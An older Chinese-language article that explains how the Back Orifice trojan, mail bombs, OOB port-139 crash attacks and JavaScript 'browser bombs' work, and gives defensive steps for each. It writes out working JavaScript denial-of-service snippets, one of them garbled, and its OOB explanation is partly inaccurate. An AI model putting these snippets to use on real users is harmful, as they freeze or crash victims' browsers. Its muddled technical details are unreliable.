BO服務器可通過網上下載、電子郵件、盜版光盤、人為投放等途徑傳播,并且可極其隱藏地粘貼在其他應用程序。一旦激活,就可以自動安裝,創建Windll.dll,然后刪除自安裝程序,埋名隱姓,潛伏在機器中。外人就可通過BO客戶機程序,方便地搜索到世界上任何一臺被BO感染并上網的計算機IP地址。通過IP地址就可對其輕易實現網絡和系統控制功能。
可獲取包括網址口令、撥號上網口令、用戶口令、磁盤、CPU,軟件版本等詳細的系統信息;可刪除、復制、檢查、查看文件;可運行機內任何一個程序;可捕捉屏幕信息;可上傳各種文件;可以查閱、創建、刪除和修改系統注冊表;甚至可以使計算機重新啟動或鎖死機器。而所有這些功能的實現,只需在菜單中作一選擇,輕摁一鍵,就可輕松完成。 除了BO外,還有很多原理和它差不多的特洛伊木馬程序,例如:“NetSpy”、“Netbus”等。
防范
不要隨便運行不太了解的人給你的程序,特別是后綴名為exe的可執行程序。特洛伊木馬程序很多,它們的安裝服務器有Boserve.exe(122k),NETSPY.EXE(127k),如果你從Email收到或是DOWN了大小和上述文件一樣的EXE文件,運行時可要小心了。運行后如果程序突然消失,或者是無任何反應,那你很可能是被攻擊了。這時候你的電腦就完全被別人所控制,他可以復制,刪除甚至運行你電腦里的文件和程序。這時你只要到注冊表里去修改一下就可以消滅它:運行注冊表找到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
下的RunServices和RUN鍵值中的“.EXE”和“NETSPY.EXE”等的鍵值,將其刪除,重新啟動你的計算機然后刪除Windows\System下的“.EXE”和“NETSPY.EXE”等程序就行了。或用最新版本的殺毒軟件,如瑞星90(11),KV300等,你也可以下載一些專門掃除特洛伊木馬的軟件。
如何防范Back orifice2000
對于Windows95和Windows98的用戶:
檢查c:\windows\system目錄下是否有UMGR32~1.exe文件,如果有的話請運行Regedit將
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
中UMGT32.exe清除,Reboot你的機器,然后Delete你硬盤上的這個文件。
對于NT的用戶:
檢查winnt\system32目錄下是否有UMGR32~1.exe這個文件,如果有的話請先在任務管理器中對應的進程Kill掉再運行Regedit將路徑指向
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Remote Administration Service
然后Delete it,最好Reboot一次你的機器。
郵件炸彈原理
E-MAIL炸彈原本泛指一切破壞電子郵箱的辦法,一般的電子郵箱的容量在5,6M以下,平時大家收發郵件,傳送軟件都會覺得容量不夠,如果電子郵箱一下子被幾百,幾千甚至上萬封電子郵件所占據,這是電子郵件的總容量就會超過電子郵箱的總容量,以至造成郵箱超負荷而崩潰。“kaboom3”、“upyours4”、“Avalanche v2.8”就是人們常見的幾種郵件炸彈。
防范
⒈不要將自己的郵箱地址到處傳播,特別是申請上網帳號時ISP送的電子信箱,那可是要按字節收費的喲!去申請幾個免費信箱對外使用,隨便別人怎么炸,大不了不要了。
⒉最好用POP3收信,你可以用Outlook 或Foxmail等POP收信工具收取Email。例如用Outlook,你可以選擇“工具”/“收件箱助理”,然后點擊“添加”在屬性窗口可以設定對各種條件的Email的處理方式。如果我們想讓超過1024KB的郵件直接從服務器上刪除,根本不下載到計算機上,可以在郵件條件框中將“大于”選中,然后輸入1024,接著在“執行下列操作”框中選中“從服務器刪除”就行了。
⒊當某人不停炸你信箱時,你可以先打開一封信,看清對方地址,然后在收件工具的過濾器中選擇不再接收這地址的信,直接從服務器刪除。
⒋在收信時,一旦看見郵件列表的數量超過平時正常郵件的數量的若干倍,應當馬上停止下載郵件,然后再從服務器刪除炸彈郵件。(要用下面提到的工具)
⒌不要認為郵件發送有個回復功能,就可以將發炸彈的人報復回來,那是十分愚蠢的!發件人有可能是用的假地址發信,這個地址也許填得與收件人地址相同。這樣你不但不能回報對方,還會使自己的郵箱徹底完結!
⒍你還可以用一些工具軟件防止郵件炸彈。
端口攻擊原理
這類軟件是利用Window95/NT系統本身的漏洞,這與Windows下微軟網絡協議NetBIOS的一個例外處理程序OOB(Out of Band)有關。只要對方以OOB的方式,就可以通過TCP/IP傳遞一個小小的封包到某個IP地址的Port139上,該地址的電腦系統即(WINDOWS95/NT)就會“應封包而死”,自動重新開機,你未存檔的所有工作就得重新再做一遍了。
你一定會問這個封包到底里面是些什么?會有如此神奇的效果!這不過是一些很小的ICMP(Internet Control Message Protocolata)碎片,當你機器收到這份“禮物”時,你的系統會不停地試圖把碎片恢復,當然這是不可能的,它怎么會這樣便宜你了!于是你的電腦系統就這樣速度越來越慢直至完全死機!而你就只有重新啟動。
其實,并不只是Port139會出現問題,只要是使用OOB的開放接受端,都有可能出現癥狀不一的“電腦狂亂”情形。例如,Identel所用的Port113,據說收到同樣的封包也會出問題。常見的端口攻擊器有“uKe23”、“voob”、WINNUKE2”。如果你還是用的Windows95,那您就要當心了。
防范
將你的Windows95馬上升級到Windows98,首先修正Win95的BUG,在微軟主頁的附件中有對于Win95和OSR2以前的版本的補丁程序,Win98不需要。然后學會隱藏自己的IP,包括將ICQ中"IP隱藏"打開,注意避免在會顯示IP的BBS和聊天室上暴露真實身份,特別在去黑客站點訪問時最好先運行隱藏IP的程序。
JAVA炸彈原理
很多網友在聊天室中被炸了以后,就以為是被別人黑了,其實不是的。炸彈有很多種,有的是造成電腦直接死機,有的是通過HTML語言,讓你的瀏覽器吃完你的系統資源,然后你就死機了。 這里我就告訴大家幾個java炸彈的原理:
第一個炸彈是javascript類型的炸彈:
<img src="javascript:n=1;do{window.open('')}while(n==1)"
width="1">
這個Javascript語言要求瀏覽在新窗口中再打開本頁。新的頁面被打開以后就會同樣提出要求,于是瀏覽器不停地打開新窗口,沒幾秒鐘你就死機了。就算是不死機,你也必須把瀏覽器中內存中驅除出去,這樣,你就被踢出了網絡。
下面分析一下這個HTML語言的原理。 分析 "javascript:n=1;do{window.open('')}while(n==1)" ,javascript 是定義運行此語言,n=1 是定義變量 n 等于1, do{ }while(n==1) 指當 n 等于1,的時候運行{ }中間的命令,window.open('') 指打開本窗口,整個語言的意思是,變量 n 賦值為1,如果 n 等于1,那么就打開一個窗口,而 n 永遠等于1,就不停地打開新的窗口。
同樣道理,也可以利用無限循環的原理看看其他的炸彈。前面的文章中提到了 alert ("歡迎辭") 是用來致歡迎辭的,你可以在網頁中加入以下的Javascript 語言:
<SCRIPT language="LiveScript">javascript:n=1;do{alert ("嘿嘿,你死定
了!");}while(n==1)</SCRIPT>
下面介紹一個1999年5月才出爐的java炸彈,威力比上兩種都強,大家務必要當心。 我們就不在這里提供效果了!
<HTML>
<BODY>
<SCRIPT>
var color = new Array;
color
= "black";
color
= "white";
for(x = 0; x <3; x++)
{
document.bgColor = color[x]
if(x == 2)
{
x = 0;
}
}
</SCRIPT>
</BODY>
</HTML>
防范
唯一的防范方法就是你在聊天室聊天時,特別是支持HTML的聊天室(比如湛江,新疆等)請你一定記住關掉你瀏覽器里的java功能,還要記住不要瀏覽一些來路不明的網站和不要在聊天室里按其他網友發出的超級鏈接,這樣可以避免遭到惡作劇者的攻擊。

